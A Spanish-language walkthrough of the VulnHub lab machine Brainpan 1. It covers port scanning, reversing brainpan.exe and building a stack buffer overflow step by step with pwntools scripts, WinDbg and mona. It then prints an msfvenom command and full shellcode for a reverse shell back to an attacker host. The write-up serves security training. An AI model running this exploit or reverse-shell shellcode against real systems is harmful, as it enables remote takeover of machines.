xchg2pwn

xchg2pwn


Entusiasta del reversing y desarrollo de exploits



VulnHub

Brainpan 1



Enumeración


Iniciamos la máquina escaneando los puertos de la máquina con nmap, aunque realmente solo encontramos 2 puertos abiertos, el 9999 y el 10000

❯ nmap 192.168.100.2
Nmap scan report for 192.168.100.2
PORT      STATE    SERVICE
9999/tcp  open     abyss
10000/tcp open     snet-sensor-mgmt  

Al conectarnos con al puerto 9999 vemos programa que nos pide una contraseña

❯ netcat 192.168.100.2 9999
_|                            _|                                        
_|_|_|    _|  _|_|    _|_|_|      _|_|_|    _|_|_|      _|_|_|  _|_|_|  
_|    _|  _|_|      _|    _|  _|  _|    _|  _|    _|  _|    _|  _|    _|
_|    _|  _|        _|    _|  _|  _|    _|  _|    _|  _|    _|  _|    _|
_|_|_|    _|          _|_|_|  _|  _|    _|  _|_|_|      _|_|_|  _|    _|
                                            _|                          
                                            _|

[________________________ WELCOME TO BRAINPAN _________________________]  
                          ENTER THE PASSWORD                              

                          >>

Si enviamos una contraseña incorrecta nos devuelve ACCESS DENIED y termina

[________________________ WELCOME TO BRAINPAN _________________________]  
                          ENTER THE PASSWORD                            

                          >> 1234
                          ACCESS DENIED

El puerto 10000 corre un servicio http, que en el index tiene solo una imagen que nos habla de vulnerabilidades comunes y tal, pero no nos aporta demasiado

Podemos usar wfuzz para aplicar fuerza bruta y encontramos un directorio /bin

❯ wfuzz -c -w /usr/share/seclists/Discovery/Web-Content/common.txt -u http://192.168.100.2:10000/FUZZ -t 100 --hc 404  
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer                         *
********************************************************

Target: http://192.168.100.2:10000/FUZZ
Total requests: 4713

=====================================================================
ID           Response   Lines    Word       Chars       Payload
=====================================================================

000000854:   301        0 L      0 W        0 Ch        "bin"

Si lo miramos desde el navegador podemos ver que tenemos capacidad de listar recursos, este directorio nos comparte un archivo llamado brainpan.exe

Como es un archivo exe podemos pasarlo a una máquina windows y ejecutarlo, al hacerlo solo nos dice que se pone en espera de conexiones por el puerto 9999

PS C:\Users\user\Desktop> .\brainpan.exe  
[+] initializing winsock...done.
[+] server socket created.
[+] bind done on port 9999
[+] waiting for connections.

Nos podemos conectar con netcat al puerto 9999 esta vez usando como direccion la ip de nuestra maquina windows y vemos la misma aplicación de antes

❯ netcat 192.168.100.5 9999
_|                            _|                                        
_|_|_|    _|  _|_|    _|_|_|      _|_|_|    _|_|_|      _|_|_|  _|_|_|  
_|    _|  _|_|      _|    _|  _|  _|    _|  _|    _|  _|    _|  _|    _|
_|    _|  _|        _|    _|  _|  _|    _|  _|    _|  _|    _|  _|    _|
_|_|_|    _|          _|_|_|  _|  _|    _|  _|_|_|      _|_|_|  _|    _|
                                            _|                          
                                            _|

[________________________ WELCOME TO BRAINPAN _________________________]  
                          ENTER THE PASSWORD                              

                          >>

Para entender su funcionamiento podemos desensamblarlo con IDA, iniciamos con la función main(), esta inicia definiendo los offsets para varias strings, luego de mostrar un mensaje con printf inicializa winsock llamando a la función WSAStartup

Luego llama a socket para crear un socket y utiliza htons para darle formato al puerto, después llama a la función bind para vincular el socket a la dirección

En el siguiente bloque llama a listen para ponerse en escucha en el puerto especificado en este caso el 9999 y muestra con printf que esta en escucha de conexiones, luego llama a accept para aceptar las conexiones entrantes

Una vez recibe una nueva conexión llama a recv para recibir un buffer previamente asignado con memset, una vez recibe los datos llama a la función get_reply a la que como argumento le pasa el buffer recibido, es personalizada asi que la analizaremos

La función get_reply recibe el buffer como argumento y utiliza strcpy para copiarlo a un destino que setea en ebp - 520, luego compara lo que acaba de copiar con la cadena shitstorm\n utilizando strcmp para saber si devolver true o false

Nos conectamos al puerto 9999 y enviamos la cadena shitstorm que encontramos, sin embargo aunque nos devuelve ACCESS GRANTED el programa termina ahi

❯ netcat 192.168.100.2 9999
_|                            _|                                        
_|_|_|    _|  _|_|    _|_|_|      _|_|_|    _|_|_|      _|_|_|  _|_|_|  
_|    _|  _|_|      _|    _|  _|  _|    _|  _|    _|  _|    _|  _|    _|
_|    _|  _|        _|    _|  _|  _|    _|  _|    _|  _|    _|  _|    _|
_|_|_|    _|          _|_|_|  _|  _|    _|  _|_|_|      _|_|_|  _|    _|
                                            _|                          
                                            _|

[________________________ WELCOME TO BRAINPAN _________________________]  
                          ENTER THE PASSWORD                              

                          >> shitstorm
                          ACCESS GRANTED


Buffer Overflow - Stack Based


Para poder debuggear el ejecutable ejecutaremos la aplicación dentro WinDbg

Iniciaremos por llenar con A's los 520 bytes que se reservaron antes de ebp, luego 4 B's bytes que van a sobrescribir el valor de ebp en el leave, y luego 4 C's que van a sobrescribir el return address, finalmente algunas D's para guardar en el stack

#!/usr/bin/python3
from pwn import remote

payload  = b""
payload += b"A" * 520
payload += b"B" * 4
payload += b"C" * 4
payload += b"D" * 40

shell = remote("192.168.100.5", 9999)  
shell.sendlineafter(b">> ", payload)

Luego de enviar el exploit podemos ver que ebp toma el valor 0x42424242 que equivale a 4 B's en hexadecimal y el eip toma el valor de retorno que son las C's, también vemos las D's que enviamos en el stack, concluimos el offset al return address son 524 bytes y que nuestra data que sigue se guarda en el stack

❯ python3 exploit.py
[+] Opening connection to 192.168.100.5 on port 9999: Done  
[*] Closed connection to 192.168.100.5 port 9999

0:000> g
(243c.26c8): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=ffffffff ebx=002d8000 ecx=3117303f edx=005ff700 esi=31171280 edi=31171280  
eip=43434343 esp=005ff910 ebp=42424242 iopl=0         nv up ei ng nz na pe nc  
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00010286  
43434343 ??              ???

0:000> r ebp
ebp=42424242

0:000> r eip
eip=43434343

0:000> db esp
005ff910  44 44 44 44 44 44 44 44-44 44 44 44 44 44 44 44  DDDDDDDDDDDDDDDD
005ff920  44 44 44 44 44 44 44 44-44 44 44 44 44 44 44 44  DDDDDDDDDDDDDDDD
005ff930  44 44 44 44 44 44 44 44-0a 00 00 00 10 00 00 00  DDDDDDDD........
005ff940  45 ff ff ff 98 33 6e 00-03 00 00 05 12 00 00 00  E....3n.........
005ff950  02 00 9a 5a c0 a8 64 49-00 00 00 00 00 00 00 00  ...Z..dI........
005ff960  02 00 27 0f 00 00 00 00-00 00 00 00 18 00 00 00  ..'.............
005ff970  90 00 00 00 00 00 00 00-60 01 00 00 58 01 00 00  ........`...X...
005ff980  02 02 02 02 57 69 6e 53-6f 63 6b 20 32 2e 30 00  ....WinSock 2.0.

Lo siguiente sera detectar badchars por lo que con mona crearemos una lista con todos los caracteres posibles, esto nos creara un archivo txt y un bin

0:000> !py mona bytearray
Hold on...
[+] Command used:
!py C:\Users\user\Documents\WinDbgX\x86\mona.py bytearray
Generating table, excluding 0 bad chars...
Dumping table to file
[+] Preparing output file 'bytearray.txt'
    - (Re)setting logfile C:\mona\bytearray.txt
"\x00\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f"  
"\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f"  
"\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f"  
"\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f"  
"\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f"  
"\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf"  
"\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf"  
"\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff"  

Done, wrote 256 bytes to file C:\mona\bytearray.txt
Binary output saved in C:\mona\bytearray.bin

Modificaremos el script para que en el stack luego del return address se guarden los posibles badchars, luego compararemos en el debugger si se alteraron los bytes

#!/usr/bin/python3
from pwn import remote

offset = 524
junk = b"A" * offset

badchars  = b""
badchars += b"\x00\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f"  
badchars += b"\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f"  
badchars += b"\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f"  
badchars += b"\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f"  
badchars += b"\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f"  
badchars += b"\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf"  
badchars += b"\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf"  
badchars += b"\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff"  

payload  = b""
payload += junk
payload += b"B" * 4
payload += badchars

shell = remote("192.168.100.5", 9999)  
shell.sendlineafter(b">> ", payload)

Lo siguiente es con mona comparar el .bin que nos creo con la dirección del esp actual, como resultado nos muestra que se corrompe despues de 1 byte quiere decir que el 00 esta corrompiendo el resto de caracteres que estan delante de el

0:000> g
(f04.250c): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=ffffffff ebx=003e9000 ecx=3117303f edx=005ff700 esi=31171280 edi=31171280
eip=42424242 esp=005ff910 ebp=41414141 iopl=0         nv up ei ng nz na pe nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00010286
42424242 ??              ???

0:000> !py mona compare -f bytearray.bin -a esp
Hold on...
[+] Command used:
!py C:\Users\user\Documents\WinDbgX\x86\mona.py compare -f bytearray.bin -a esp
[+] Reading file C:\mona\bytearray.bin...
    Read 256 bytes from file
[+] Preparing output file 'compare.txt'
    - (Re)setting logfile C:\mona\compare.txt
[+] Generating module info table, hang on...
    - Processing modules
    - Done. Let's rock 'n roll.
[+] C:\mona\bytearray.bin has been recognized as RAW bytes.
[+] Fetched 256 bytes successfully from C:\mona\bytearray.bin
    - Comparing 1 location(s)
Comparing bytes from file with memory :
0x005ff910 | [+] Comparing with memory at location : 0x005ff910 (Stack)
0x005ff910 | Only 1 original bytes of 'normal' code found.
0x005ff910 |     ,-----------------------------------------------.
0x005ff910 |     | Comparison results:                           |
0x005ff910 |     |-----------------------------------------------|
0x005ff910 |   0 |00 01 02 03 04 05 06 07 08 09 0a 0b 0c 0d 0e 0f| File
0x005ff910 |     |   fb 5f 00 30 fb 5f 00 e8 03 00 00 00 00 00 00| Memory
0x005ff910 |  10 |10 11 12 13 14 15 16 17 18 19 1a 1b 1c 1d 1e 1f| File
0x005ff910 |     |00 00 8c 00 70 00 00 00 01 00 00 00 00 00 8c 00| Memory
0x005ff910 |  20 |20 21 22 23 24 25 26 27 28 29 2a 2b 2c 2d 2e 2f| File
0x005ff910 |     |48 20 00 00 0f 00 00 00 00 00 00 00 10 00 00 00| Memory
0x005ff910 |  30 |30 31 32 33 34 35 36 37 38 39 3a 3b 3c 3d 3e 3f| File
0x005ff910 |     |00 00 00 00 68 69 8c 00 03 00 00 05 10 00 00 00| Memory
0x005ff910 |  40 |40 41 42 43 44 45 46 47 48 49 4a 4b 4c 4d 4e 4f| File
0x005ff910 |     |02 00 dd 34 c0 a8 64 49 00 00 00 00 00 00 00 00| Memory
0x005ff910 |  50 |50 51 52 53 54 55 56 57 58 59 5a 5b 5c 5d 5e 5f| File
0x005ff910 |     |02 00 27 0f 00 00 00 00 00 00 00 00 0f 00 00 00| Memory
0x005ff910 |  60 |60 61 62 63 64 65 66 67 68 69 6a 6b 6c 6d 6e 6f| File
0x005ff910 |     |90 00 00 00 00 00 00 00 34 01 00 00 3c 01 00 00| Memory
0x005ff910 |  70 |70 71 72 73 74 75 76 77 78 79 7a 7b 7c 7d 7e 7f| File
0x005ff910 |     |02 02 02 02 57 69 6e 53 6f 63 6b 20 32 2e 30 00| Memory
0x005ff910 |  80 |80 81 82 83 84 85 86 87 88 89 8a 8b 8c 8d 8e 8f| File
0x005ff910 |     |48 66 8c 00 03 00 00 00 00 00 8c 00 4c 00 8c 00| Memory
0x005ff910 |  90 |90 91 92 93 94 95 96 97 98 99 9a 9b 9c 9d 9e 9f| File
0x005ff910 |     |60 69 8c 00 00 00 8c 00 14 00 04 10 14 00 00 00| Memory
0x005ff910 |  a0 |a0 a1 a2 a3 a4 a5 a6 a7 a8 a9 aa ab ac ad ae af| File
0x005ff910 |     |f8 fa 5f 00 a1 09 78 77 01 00 00 00 68 69 8c 00| Memory
0x005ff910 |  b0 |b0 b1 b2 b3 b4 b5 b6 b7 b8 b9 ba bb bc bd be bf| File
0x005ff910 |     |14 00 00 00 36 0c 78 77 45 44 d0 11 60 69 8c 00| Memory
0x005ff910 |  c0 |c0 c1 c2 c3 c4 c5 c6 c7 c8 c9 ca cb cc cd ce cf| File
0x005ff910 |     |00 00 8c 00 00 00 00 00 01 00 00 00 14 00 00 00| Memory
0x005ff910 |  d0 |d0 d1 d2 d3 d4 d5 d6 d7 d8 d9 da db dc dd de df| File
0x005ff910 |     |68 69 8c 00 00 00 00 00 a5 45 d0 04 60 69 01 00| Memory
0x005ff910 |  e0 |e0 e1 e2 e3 e4 e5 e6 e7 e8 e9 ea eb ec ed ee ef| File
0x005ff910 |     |00 00 8c 00 f8 69 8c 00 95 fb 0b 66 63 69 8c 00| Memory
0x005ff910 |  f0 |f0 f1 f2 f3 f4 f5 f6 f7 f8 f9 fa fb fc fd fe ff| File
0x005ff910 |     |1a 00 07 1d 62 69 8c 00 98 66 8c 00 14 00 00 00| Memory
0x005ff910 |     `-----------------------------------------------'
0x005ff910 | 
0x005ff910 |             | File      | Memory    | Note       
0x005ff910 | -------------------------------------------------
0x005ff910 | 0 0 1   1   | 00        | 00        | unmodified!
0x005ff910 | 1 1 255 255 | 01 ... ff | fb ... 00 | corrupted  
0x005ff910 | 
0x005ff910 | Possibly bad chars: 01 02 03 04 05 06 07 08 09 0a 0b 0c 0d 0e 0f 10 11 12 13 14 15 16 17 18 19 1a 1b 1c 1d 1e 1f 20 21 22 23 24 25 26 27 28 29 2a 2b 2c 2d 2e 2f 30 31 32 33 34 35 36 37 38 39 3a 3b 3c 3d 3e 3f 40 41 42 43 44 45 46 47 48 49 4a 4b 4c 4d 4e 4f 50 51 52 53 54 55 56 57 58 59 5a 5b 5c 5d 5e 5f 60 61 62 63 64 65 66 67 68 69 6a 6b 6c 6d 6e 6f 70 71 72 73 74 75 76 77 78 79 7a 7b 7c 7d 7e 7f 80 81 82 83 84 85 86 87 88 89 8a 8b 8c 8d 8e 8f 90 91 92 93 94 95 96 97 98 99 9a 9b 9c 9d 9e 9f a0 a1 a2 a3 a4 a5 a6 a7 a8 a9 aa ab ac ad ae af b0 b1 b2 b3 b4 b5 b6 b7 b8 b9 ba bb bc bd be bf c0 c1 c2 c3 c4 c5 c6 c7 c8 c9 ca cb cc cd ce cf d0 d1 d2 d3 d4 d5 d6 d7 d8 d9 da db dc dd de df e0 e1 e2 e3 e4 e5 e6 e7 e8 e9 ea eb ec ed ee ef f0 f1 f2 f3 f4 f5 f6 f7 f8 f9 fa fb fc fd fe ff  
0x005ff910 | 

Creamos un nuevo bytearray esta vez quitando el \x00 que vimos es un badchar

0:000> !py mona bytearray -cpb '\x00'
Hold on...
[+] Command used:
!py C:\Users\user\Documents\WinDbgX\x86\mona.py bytearray -cpb '\x00'
Generating table, excluding 1 bad chars...
Dumping table to file
[+] Preparing output file 'bytearray.txt'
    - (Re)setting logfile C:\mona\bytearray.txt
"\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20"  
"\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40"  
"\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60"  
"\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80"  
"\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0"  
"\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0"  
"\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0"  
"\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff"  

Done, wrote 255 bytes to file C:\mona\bytearray.txt
Binary output saved in C:\mona\bytearray.bin

Modificamos el script ahora con el nuevo bytearray que no incluye el caracter \x00

#!/usr/bin/python3
from pwn import remote

offset = 524
junk = b"A" * offset

badchars  = b""
badchars += b"\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20"  
badchars += b"\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40"  
badchars += b"\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60"  
badchars += b"\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80"  
badchars += b"\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0"  
badchars += b"\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0"  
badchars += b"\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0"  
badchars += b"\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff"  

payload  = b""
payload += junk
payload += b"B" * 4
payload += badchars

shell = remote("192.168.100.5", 9999)  
shell.sendlineafter(b">> ", payload)

Enviamos y al volver a hacer el mona compare podemos ver unmodified quiere decir que todos los caracteres enviados se procesaron correctamente en el programa

0:000> g
(a80.12a8): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=ffffffff ebx=003f6000 ecx=3117303f edx=005ff700 esi=31171280 edi=31171280
eip=42424242 esp=005ff910 ebp=41414141 iopl=0         nv up ei ng nz na pe nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00010286
42424242 ??              ???

0:000> !py mona compare -f bytearray.bin -a esp
Hold on...
[+] Command used:
!py C:\Users\user\Documents\WinDbgX\x86\mona.py compare -f bytearray.bin -a esp  
[+] Reading file C:\mona\bytearray.bin...
    Read 255 bytes from file
[+] Preparing output file 'compare.txt'
    - (Re)setting logfile C:\mona\compare.txt
[+] Generating module info table, hang on...
    - Processing modules
    - Done. Let's rock 'n roll.
[+] C:\mona\bytearray.bin has been recognized as RAW bytes.
[+] Fetched 255 bytes successfully from C:\mona\bytearray.bin
    - Comparing 1 location(s)
Comparing bytes from file with memory :
0x005ff910 | [+] Comparing with memory at location : 0x005ff910 (Stack)
0x005ff910 | !!! Hooray, normal shellcode unmodified !!!
0x005ff910 | Bytes omitted from input: 00

Listando los modulos con mona encontramos que solo esta brainpan.exe sin nunguna proteccion, asi que podemos inyectar shellcode malicioso en la pila

0:000> !py mona modules
Hold on...
[+] Command used:
!py C:\Users\user\Documents\WinDbgX\x86\mona.py modules

[+] Processing arguments and criteria
    - Pointer access level : X
[+] Generating module info table, hang on...
    - Processing modules
    - Done. Let's rock 'n roll.
----------------------------------------------------------------------------------------------------------------------------------------------------
 Module info :
----------------------------------------------------------------------------------------------------------------------------------------------------
 Base       | Top        | Size       | Rebase | SafeSEH | ASLR  | CFG   | NXCompat | OS Dll | Modulename & Pathname
----------------------------------------------------------------------------------------------------------------------------------------------------
 0x76b10000 | 0x76d92000 | 0x00282000 | True   | False   | True  | True  |  True    | True   | [KERNELBASE.dll] (C:\Windows\SysWOW64\KERNELBASE.dll)
 0x72e80000 | 0x72ed1000 | 0x00051000 | True   | False   | True  | True  |  True    | True   | [mswsock.dll] (C:\Windows\SysWOW64\mswsock.dll)
 0x76880000 | 0x76970000 | 0x000f0000 | True   | False   | True  | True  |  True    | True   | [KERNEL32.DLL] (C:\Windows\SysWOW64\KERNEL32.DLL)
 0x31170000 | 0x31176000 | 0x00006000 | False  | False   | False | False |  False   | False  | [brainpan.exe] (C:\Users\user\Desktop\brainpan.exe)
 0x756b0000 | 0x75774000 | 0x000c4000 | True   | False   | True  | True  |  True    | True   | [msvcrt.dll] (C:\Windows\SysWOW64\msvcrt.dll)
 0x77730000 | 0x778e2000 | 0x001b2000 | True   | False   | True  | True  |  True    | True   | [ntdll.dll] (ntdll.dll)
 0x76970000 | 0x76a2a000 | 0x000ba000 | True   | False   | True  | True  |  True    | True   | [RPCRT4.dll] (C:\Windows\SysWOW64\RPCRT4.dll)
 0x75360000 | 0x753bf000 | 0x0005f000 | True   | False   | True  | True  |  True    | True   | [WS2_32.DLL] (C:\Windows\SysWOW64\WS2_32.DLL)
----------------------------------------------------------------------------------------------------------------------------------------------------

[+] Preparing output file 'modules.txt'
    - (Re)setting logfile C:\mona\modules.txt

Sabemos que el resto de los datos se guardan en el stack, para que se interprete necesitamos un gadget que ejecute la instrucción jmp esp o una equivalente

0:000> !py mona jmp -r esp -m brainpan.exe
Hold on...
[+] Command used:
!py C:\Users\user\Documents\WinDbgX\x86\mona.py jmp -r esp -m brainpan.exe

[+] Processing arguments and criteria
    - Pointer access level : X
    - Only querying modules brainpan.exe
[+] Generating module info table, hang on...
    - Processing modules
    - Done. Let's rock 'n roll.
[+] Querying 1 modules
    - Querying module brainpan.exe
    - Search complete, processing results
[+] Preparing output file 'jmp.txt'
    - (Re)setting logfile C:\mona\jmp.txt
[+] Writing results to C:\mona\jmp.txt
    - Number of pointers of type 'jmp esp' : 1 
[+] Results : 
0x311712f3 |   0x311712f3 : jmp esp |  {PAGE_EXECUTE_READ} [brainpan.exe] ASLR: False, Rebase: False, SafeSEH: False, CFG: False, OS: False, v-1.0- (C:\Users\user\Desktop\brainpan.exe)  
    Found a total of 1 pointers

Finalmente solo necesitamos el shellcode que se interpretará al saltar al stack, podemos crear uno facilmente con msfvenom que nos envie una revshell, esto indicando los badchars para que el shellcode no los tenga y evite problemas

❯ msfvenom -p windows/shell_reverse_tcp LHOST=192.168.100.73 LPORT=443 -b '\x00' -f python -v shellcode  
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x86 from the payload
Found 11 compatible encoders
Attempting to encode payload with 1 iterations of x86/shikata_ga_nai
x86/shikata_ga_nai succeeded with size 351 (iteration=0)
x86/shikata_ga_nai chosen with final size 351
Payload size: 351 bytes
Final size of python file: 1965 bytes
shellcode =  b""
shellcode += b"\xda\xd8\xd9\x74\x24\xf4\xbb\xf4\x3a\xcb\xbd"
shellcode += b"\x5d\x2b\xc9\xb1\x52\x83\xc5\x04\x31\x5d\x13"
shellcode += b"\x03\xa9\x29\x29\x48\xad\xa6\x2f\xb3\x4d\x37"
shellcode += b"\x50\x3d\xa8\x06\x50\x59\xb9\x39\x60\x29\xef"
shellcode += b"\xb5\x0b\x7f\x1b\x4d\x79\xa8\x2c\xe6\x34\x8e"
shellcode += b"\x03\xf7\x65\xf2\x02\x7b\x74\x27\xe4\x42\xb7"
shellcode += b"\x3a\xe5\x83\xaa\xb7\xb7\x5c\xa0\x6a\x27\xe8"
shellcode += b"\xfc\xb6\xcc\xa2\x11\xbf\x31\x72\x13\xee\xe4"
shellcode += b"\x08\x4a\x30\x07\xdc\xe6\x79\x1f\x01\xc2\x30"
shellcode += b"\x94\xf1\xb8\xc2\x7c\xc8\x41\x68\x41\xe4\xb3"
shellcode += b"\x70\x86\xc3\x2b\x07\xfe\x37\xd1\x10\xc5\x4a"
shellcode += b"\x0d\x94\xdd\xed\xc6\x0e\x39\x0f\x0a\xc8\xca"
shellcode += b"\x03\xe7\x9e\x94\x07\xf6\x73\xaf\x3c\x73\x72"
shellcode += b"\x7f\xb5\xc7\x51\x5b\x9d\x9c\xf8\xfa\x7b\x72"
shellcode += b"\x04\x1c\x24\x2b\xa0\x57\xc9\x38\xd9\x3a\x86"
shellcode += b"\x8d\xd0\xc4\x56\x9a\x63\xb7\x64\x05\xd8\x5f"
shellcode += b"\xc5\xce\xc6\x98\x2a\xe5\xbf\x36\xd5\x06\xc0"
shellcode += b"\x1f\x12\x52\x90\x37\xb3\xdb\x7b\xc7\x3c\x0e"
shellcode += b"\x2b\x97\x92\xe1\x8c\x47\x53\x52\x65\x8d\x5c"
shellcode += b"\x8d\x95\xae\xb6\xa6\x3c\x55\x51\x09\x68\x31"
shellcode += b"\xe8\xe1\x6b\xb9\xeb\x4a\xe2\x5f\x81\xbc\xa3"
shellcode += b"\xc8\x3e\x24\xee\x82\xdf\xa9\x24\xef\xe0\x22"
shellcode += b"\xcb\x10\xae\xc2\xa6\x02\x47\x23\xfd\x78\xce"
shellcode += b"\x3c\x2b\x14\x8c\xaf\xb0\xe4\xdb\xd3\x6e\xb3"
shellcode += b"\x8c\x22\x67\x51\x21\x1c\xd1\x47\xb8\xf8\x1a"
shellcode += b"\xc3\x67\x39\xa4\xca\xea\x05\x82\xdc\x32\x85"
shellcode += b"\x8e\x88\xea\xd0\x58\x66\x4d\x8b\x2a\xd0\x07"
shellcode += b"\x60\xe5\xb4\xde\x4a\x36\xc2\xde\x86\xc0\x2a"
shellcode += b"\x6e\x7f\x95\x55\x5f\x17\x11\x2e\xbd\x87\xde"
shellcode += b"\xe5\x05\xb7\x94\xa7\x2c\x50\x71\x32\x6d\x3d"
